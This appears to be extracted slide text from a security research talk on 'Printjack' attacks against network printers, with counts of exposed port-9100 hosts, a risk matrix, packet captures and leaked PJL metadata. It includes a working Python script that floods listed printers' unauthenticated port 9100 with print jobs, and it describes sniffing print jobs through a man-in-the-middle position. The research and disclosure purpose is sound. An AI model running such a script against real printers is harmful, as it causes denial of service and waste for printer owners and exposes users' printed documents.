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You Overtrust Your Printer

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Introduction: the IoT world



IoT: network printers

Network printers are provided with:

- web interface port 80
- raw printing port 9100





Summary of the contributions



GDP	Country	IPs with responding 9100 port
1	Germany	12.891
2	Russia	9.737
3	United Kingdom	6.349
4	France	6.634
5	Italy	2.787
6	Spain	2.088
7	Turkey	835
8	Poland	1.425
9	Netherlands	4.934
10	Switzerland	624

Table 1. IPs with responding 9100 port per country, sorted by country's GDP

Summary of the contributions (cont.)

	risk impact							
po		MINOR	MODERATE	MAJOR	SEVERE	CATASTROPHIC		
pod	RARE	LOW	LOW	LOW	LOW	LOW		
eli	UNLIKELY	LOW	LOW	MEDIUM	MEDIUM	MEDIUM		
lik	POSSIBLE	LOW	MEDIUM	MEDIUM	HIGH	HIGH		
R	LIKELY	LOW	MEDIUM	HIGH	HIGH	EXTREME		
ris	ALMOST CERTAIN	LOW	MEDIUM	HIGH	EXTREME	EXTREME		

Table 2. Evaluation of the risk level according to ISO/IEC 27005:2018

We define 3 types of attacks

Printjack attack 1: zombies for traditional DDoS



The CVE database can be used to search for *RCE* vulnerabilities for printers.



Due to the lack of authentication on port 9100, we have built a script to exploit this port.

```
f = open("IPs.txt", "r") #file containing IPs of target printers
lines = f.readlines()
for ip in lines:
    textfile = open("bot.txt", "r") #ascii file to be printed
    textlines = textfile.readlines()
    for count in range(0,1000): #number of print jobs
        s = socket.socket()
        s.connect((ip, 9100))
        for line in textlines:
            s.send(line+"\n")
        s.close()
```



An attacker on the same network can read the ASCII content of the prints sent, for example, through the previous script

7894 192.168.65.36	192.168.65.59	TCP	74 54568 → 9100	[SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=4160059799 TSecr=0 WS=128	
7896 192.168.65.36	192.168.65.59	TCP	66 54568 → 9100	[ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=4160059800 TSecr=3229867445	
7997 192.168.65.36	192.168.65.59	TCP	85 54568 → 9100	<pre>[PSH, ACK] Seq=1 Ack=1 Win=29312 Len=19 TSval=4160066485 TSecr=3229867445</pre>	
8045 192.168.65.36	192.168.65.59	TCP	66 54568 → 9100	<pre>[FIN, ACK] Seq=20 Ack=1 Win=29312 Len=0 TSval=4160070195 TSecr=3229868114</pre>	
8047 192.168.65.36	192.168.65.59	TCP	66 54568 → 9100	[ACK] Seq=21 Ack=2 Win=29312 Len=0 TSval=4160070196 TSecr=3229868485	
<pre>[Checksum Status: Unverified] Urgent pointer: 0 > Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps > [SEQ/ACK analysis] > [Timestamps] TCP payload (19 bytes) > Data (19 bytes)</pre>					
Data: 6861636b656420707	2696e7465722121212	10a			
[Length: 19]					
0000 00 21 b7 a7 ba 38 01 0010 00 47 e4 f2 40 00 41 0020 41 3b d5 28 23 8c 91 0030 00 e5 2e b2 00 00 01 0040 dd b5 68 61 63 6b 63 0050 21 21 21 21 21 0a	8 00 27 03 1a 02 0 0 06 52 0e c0 a8 4 0 f9 23 30 69 bf 1 1 01 08 0a f7 f5 5 5 64 20 70 72 69 0	08 00 45 00 . !. 41 24 c0 a8 . G. Le a4 80 18 A; 03 b5 c0 83 5e 74 65 72	8 'E. .@.@. RA\$ (# #0i acked printer !.		

An attacker can perform a MiTM in the network in which it is located to read the PDFs that are sent to the printer

GDPR art 5, par 2:"The controller shall be responsible for, and be able to demonstrate compliance with, paragraph 1 ('accountability')."

```
[(2)1(.)-1500.02(T)1(h)1(e)1()-96.9832(c)1(o)1(n)1(t)1(
r 1 (o) 1 (l) 1 (l) 1.00162 (e) 1 (r) 1 () -105.02 (s) 1 (h) 1 (a) 0.998278
(l)1.00162(l)1()-97.0133(b)1(e)1.00162()-103.976(r)1(
e 1.00162(s) 0.998278(p) 1(o) 1(n) 1(s) 1(i) 1(b) 1(l) -1.97819(
e 1()-97.9848(f)19.9857(o)1(r)39.993(,)1()-95.9732(a)
0.998278(n)1.00162(d)1.00162()-101.985(b)0.998278(e)
0.998278()-97.9916(a)]TJ
185.369 0 Td
[ (b) 1.00162 (l) 0.998278 (e) 0.998278 () -104.011 (t) 1.00162 (
o]1.00162()-90.0254(d)1.00162(e)0.998278(m)0.998278(
o]1.00162(n)0.998278(s)1.00162(t)1.00162(r)0.998278(a)
0.998278(t)1.00162(e)0.998278()-90.0087(c)0.998278(
o] 1.00162 (m) 0.998278 (p) 1.00162 (l) 0.998278 (i) 0.998278 (a)
0.998278 (n) 1.00162 (c) -1.98988 (e) 0.998278 () -90.9869 (w)
0.998278(i)0.998278(t)1.00162(h)1.00162(,)1.00162(
) - 103.013 (p) 0.998278 (a) 1.00162 (r) 0.998278 (a) 0.998278 (
g] 1.00162 (r) 0.998278 (a) 1.00162 (p) 0.998278 (h) - 1.99656 (
)-94.0218 (1) 1.00162 ()-98.9965<28>1.00162<91>1.00162 (a) ]TJ
181.667 0 Td
[ (c) 0.998278 (c) 0.998278 (o) 1.00162 (u) 1.00162 (n) 0.998278 (
t 1.00162 (a) 1.00162 (b) 0.998278 (i) -1.97652 (l) 0.998278 (
1.00162(1)1.00162(9)0.99494<92>1.00162<29>1.00162(.)
```

Printjack attack 3: privacy infringement - PDF on Windows (cont.)

In the case of Windows, printers communicate via another port (65002) that uses a proprietary Microsoft protocol. We were not able to sniff the content of the PDF but only the metadata.

@PJL	SET STRINGCODESET=UTF8
@PJL	SET USERNAME="Pietro"
@PJL	SET LMULTIPAGEPRINT=OFF
@PJL	COMMENT Lexmark MS620 Series XL
@PJL	LJOBINFO USERID="Pietro" HOSTID="PIETRO-BIONDI"
@PJL	SET LHOSTID="PIETRO-BIONDI"
@PJL	SET LHOSTJOBID="2"
@PJL	SET JOBNAME="myfile.pdf"
@PJL	SET LCOLORMODEL=BLACK
AP 11	SET RENDERMODE-GRAVSCALE

Conclusions

- Due to the lack of authentication on the printers, DOS attacks and privacy can be caused
- The Printjack family of attacks demonstrates that printers are routinely not configured and used with security and privacy in mind
- Printjack 1: was mostly determined by its impact rather than by its likelihood
- Printjack 2: could be carried out both from a local attacking machine or from a remote one if the target printers are exposed over the Internet
- Printjack 3: can only be mounted against the user only if the attacker is on the same network

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